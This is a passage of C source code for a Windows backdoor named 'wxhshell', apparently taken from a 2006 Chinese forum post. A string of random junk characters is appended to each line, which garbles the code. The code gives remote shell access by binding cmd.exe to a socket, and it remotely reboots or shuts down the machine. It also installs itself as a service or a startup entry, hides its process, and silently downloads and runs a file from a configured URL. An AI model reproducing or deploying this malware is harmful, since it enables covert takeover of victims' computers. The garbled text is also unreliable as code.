  -!+i ^r  
  // 帮助 aN"YEL>w  
  case '?': { `P\H{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?5">50  
    break; EO+Ix7w  
  } 1R-0b{w[  
  // 安装 MMa`}wSs  
  case 'i': { gs1  
    if(Install()) _~Od G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K_U`T;Z\  
    else ^'Lp<YJs6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E7h@c>IK  
    break; fQ~~%#z1  
    } #p=+RTZ<  
  // 卸载 ("A45\5  
  case 'r': {  e#5WX  
    if(Uninstall()) {C`M<2W]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EM<W+YU  
    else ~C 3 Y/}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R5MN;xG^  
    break; G{.=27  
    } Y]R=z*i%  
  // 显示 wxhshell 所在路径 5Qg*j/z?  
  case 'p': { yT%<  t  
    char svExeFile[MAX_PATH]; zk70D_}L  
    strcpy(svExeFile,"\n\r"); \l(}8;5}  
      strcat(svExeFile,ExeFile); q@1A2L\Om  
        send(wsh,svExeFile,strlen(svExeFile),0); \zcSfNE  
    break; hTAc}'^$  
    } ZK{1z|  
  // 重启 Wsd_RT}ww  
  case 'b': { jMWTNZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9&kY>M>z0  
    if(Boot(REBOOT)) 8fvKVS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M2:3 k  
    else { #@Tm5z  
    closesocket(wsh); :'t"kS  
    ExitThread(0); jz'%(6#'gW  
    } ]%7m+-h@  
    break; oM n'{+(w  
    } 31g1zdT!  
  // 关机 `h'Ab63  
  case 'd': { {>R933fap  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S-6i5H"B&  
    if(Boot(SHUTDOWN)) ?fU{?nI}>p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4`CO>Q  
    else { UWCm:eRQ  
    closesocket(wsh); $43CNnf3N  
    ExitThread(0); `ER#S_}  
    } 10dK%/6/O  
    break; ^y&2N  
    } Q Na*Y@i  
  // 获取shell ^*NOG\BK@  
  case 's': { Sr6iQxE  
    CmdShell(wsh); IOrYm  
    closesocket(wsh); u7wZPIC{_  
    ExitThread(0); wGz_IL.D  
    break; iQh:y:Jo1&  
  } 9zehwl]~  
  // 退出 3z 5"Ckzb  
  case 'x': { v<} $d.&*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); . }tpEvAw}  
    CloseIt(wsh); h=cA]^:=  
    break; A.P*@}9  
    } n<[H!4  
  // 离开 G#^6H]`[J:  
  case 'q': { <dY{@Cgw=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y3 S T"U  
    closesocket(wsh); (n{!~'3  
    WSACleanup(); 1rmN)  
    exit(1); 3t] 0  
    break; >F!X'#Iv  
        } na/,1iI<  
  } XOY\NMo  
  } PurY_  
j62oA$z  
  // 提示信息 6;\Tps;A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?rwHkPJ{*  
} H,1I z@W1  
  } Uv3Fe%>  
1w?DSHe  
  return; ]n|lHZR  
} 8x6{[Tx   
NEMC  
// shell模块句柄 3n TpL#  
int CmdShell(SOCKET sock) *7/MeE6)i  
{ !L' O")!3  
STARTUPINFO si; )RwO2H  
ZeroMemory(&si,sizeof(si)); q}7(w$&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oO,"B8a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kv3V|  
PROCESS_INFORMATION ProcessInfo; |G>Lud  
char cmdline[]="cmd"; Q%RI;;YyA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UXV>#U?  
  return 0; FkIT/H  
} /T/7O  
h`p9H2}0  
// 自身启动模式 c:z<8#A}  
int StartFromService(void) Xc@%_6  
{ !xZ`()D#  
typedef struct ?9AtFT  
{ v/DWy(CC  
  DWORD ExitStatus; SSI('6Z/  
  DWORD PebBaseAddress; DC%H(2  
  DWORD AffinityMask; <DM:YWNa  
  DWORD BasePriority; Q |J$ R  
  ULONG UniqueProcessId; I!-5 #bxD  
  ULONG InheritedFromUniqueProcessId; < {dV=  
}   PROCESS_BASIC_INFORMATION; -7l)mk  
t12 xPtN1  
PROCNTQSIP NtQueryInformationProcess; ,;wc$-Z!8  
zd3%9rj$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *l4`2eqZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v/lQ5R1  
['n;e:*  
  HANDLE             hProcess; Tn8GLn  
  PROCESS_BASIC_INFORMATION pbi; cH%#qE3  
Arb-,[kwN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q+-Bl  
  if(NULL == hInst ) return 0; gcf EJN4'  
m2$Qp{C6H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (*2kM|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ${%*O}$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SLG3u;Ab  
v'zf*]9  
  if (!NtQueryInformationProcess) return 0; Hh1OD?N)  
*aF<#m v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B}y-zj; T  
  if(!hProcess) return 0; x GHS  
77I D 82  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PjkJsH  
Eo }mSd  
  CloseHandle(hProcess); aBLE:v  
"ujt:4 p@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bJE$>  
if(hProcess==NULL) return 0; D 4\T`j:  
{~ngI<  
HMODULE hMod; w oqP&8a  
char procName[255]; L>mv\D;o.  
unsigned long cbNeeded; U\A*${  
\;>idbV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GUyc1{6  
@9pk-BB^D  
  CloseHandle(hProcess); HEjrat;5  
v5 yOh5  
if(strstr(procName,"services")) return 1; // 以服务启动 YrR}55V,  
04wmN  
  return 0; // 注册表启动 =kspHP<k  
} ^vmyiF  
/L1qdkG  
// 主模块 VlVd"jW  
int StartWxhshell(LPSTR lpCmdLine) 5"[Qs|VjA6  
{ N(]>(S o  
  SOCKET wsl; ~pqp`  
BOOL val=TRUE; '~E&^K5hr  
  int port=0; IdlW[h3`[  
  struct sockaddr_in door; *p.P/w@1  
:LL>C)(f  
  if(wscfg.ws_autoins) Install(); c4R6E~S  
PT|W{RlNl  
port=atoi(lpCmdLine); pt;kN&A^  
H5Rn.n(|  
if(port<=0) port=wscfg.ws_port; SLc6 ]?  
uE>2 *u\  
  WSADATA data; 1_7}B4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ywf.,V  
:CN,I!:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +[JGi"ca  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6|05-x|  
  door.sin_family = AF_INET; :Q\b$=,:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m&OzT~?_>N  
  door.sin_port = htons(port); \HDRr*KO  
}Y5Sf"~M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G Cx]VN3 &  
closesocket(wsl); }0T1* .Cz  
return 1; r}P{opn$t  
} n-dO |3,  
GP uAIoBo  
  if(listen(wsl,2) == INVALID_SOCKET) { #`/KF_a3\>  
closesocket(wsl); 2Ni$ (`"  
return 1; lhx6+w  
} ]OHzE]Q  
  Wxhshell(wsl); abtAkf  
  WSACleanup(); 38%]G Q  
Gu&?Gn oc  
return 0; '?_;s9)  
v[ru }/4  
} ;y?,myO  
`7Ni bZX0  
// 以NT服务方式启动 JPgV7+{b[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0vUX^<  
{ HW{osav9  
DWORD   status = 0; *;O$=PE  
  DWORD   specificError = 0xfffffff; 5 %q26&  
}@}jwi)l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OGrVy=rd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZYrXav<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &&|*GAjJ  
  serviceStatus.dwWin32ExitCode     = 0; OUe@U;l{Z  
  serviceStatus.dwServiceSpecificExitCode = 0; yjpV71!M  
  serviceStatus.dwCheckPoint       = 0; \no[>L]  
  serviceStatus.dwWaitHint       = 0; ;]MHU/  
1A">tgA1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _5.^A&Y*  
  if (hServiceStatusHandle==0) return; <r,l  
 OR4!73[I  
status = GetLastError(); /_?Ly$>'  
  if (status!=NO_ERROR) R\MM2_I  
{ %K /=7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VLN=9  
    serviceStatus.dwCheckPoint       = 0; v-X1if1%  
    serviceStatus.dwWaitHint       = 0; 3*3WO,9  
    serviceStatus.dwWin32ExitCode     = status; #~q{6()e:  
    serviceStatus.dwServiceSpecificExitCode = specificError; oKiBnj5J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #5N#^#r"  
    return; 93[c^sc9*a  
  } bJ]g2C7`36  
I' ej?~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0eQyzn*98  
  serviceStatus.dwCheckPoint       = 0; _NA0$bGN9  
  serviceStatus.dwWaitHint       = 0; n!&DLB1z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \q(RqD  
}  ]k_@F6 A  
E:f0NV3"1  
// 处理NT服务事件,比如:启动、停止 "ZNiTND  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xp{+){Iu  
{ UBrYN'QRNt  
switch(fdwControl) sYiegX`1c  
{ \('8 _tqI"  
case SERVICE_CONTROL_STOP: $OHY^IE(  
  serviceStatus.dwWin32ExitCode = 0; /fWVgyW> 6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #q%xJ[  
  serviceStatus.dwCheckPoint   = 0; Ix^xL+Tm  
  serviceStatus.dwWaitHint     = 0; .KGW#Qk8  
  { r Ka7[/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DT8|2"H  
  } xXE/pIXw  
  return; z"u4t.KpL  
case SERVICE_CONTROL_PAUSE: v-3In\T=^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .ZFs+8qU>  
  break; s@E "EWp0  
case SERVICE_CONTROL_CONTINUE: YW}q@AY7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G@oY2sM"  
  break; 4iBp!k7  
case SERVICE_CONTROL_INTERROGATE: WQ<J<$$uu  
  break; j08}5Eo  
}; KcglpKV`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KtUI(*$`  
} Gmi4ffIb3  
q%w\UAqA  
// 标准应用程序主函数 S " R]i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^<'5 V)  
{ ( YF`#v6  
Pdmfn8I]%  
// 获取操作系统版本 8 qt,sU  
OsIsNt=GetOsVer(); yo`Jp$G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U,yU-8z/  
;"hED:z6%  
  // 从命令行安装 Q9H~B`\nQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); k, &*d4  
hW$B;  
  // 下载执行文件 ,`v)nwP  
if(wscfg.ws_downexe) { nPj%EKdY4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _(&^M[O  
  WinExec(wscfg.ws_filenam,SW_HIDE); X(U CN0#  
} o;.PZi2k  
.$y}}/{j?[  
if(!OsIsNt) { 8bLA6qmM\  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jp=eh   
HideProc(); dElOy?v  
StartWxhshell(lpCmdLine);  iUJqAi1o  
} @cA`del  
else <[ />M  
  if(StartFromService()) {O9CYP:  
  // 以服务方式启动 dR<sBYo  
  StartServiceCtrlDispatcher(DispatchTable); 97lM*7h;  
else ?F1NZA[%t  
  // 普通方式启动 @r]wZ~@  
  StartWxhshell(lpCmdLine); 1Y:lFGoe  
Kv^ez%I  
return 0; 47.c  
}
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只看该作者 1 发表于: 2006-10-10
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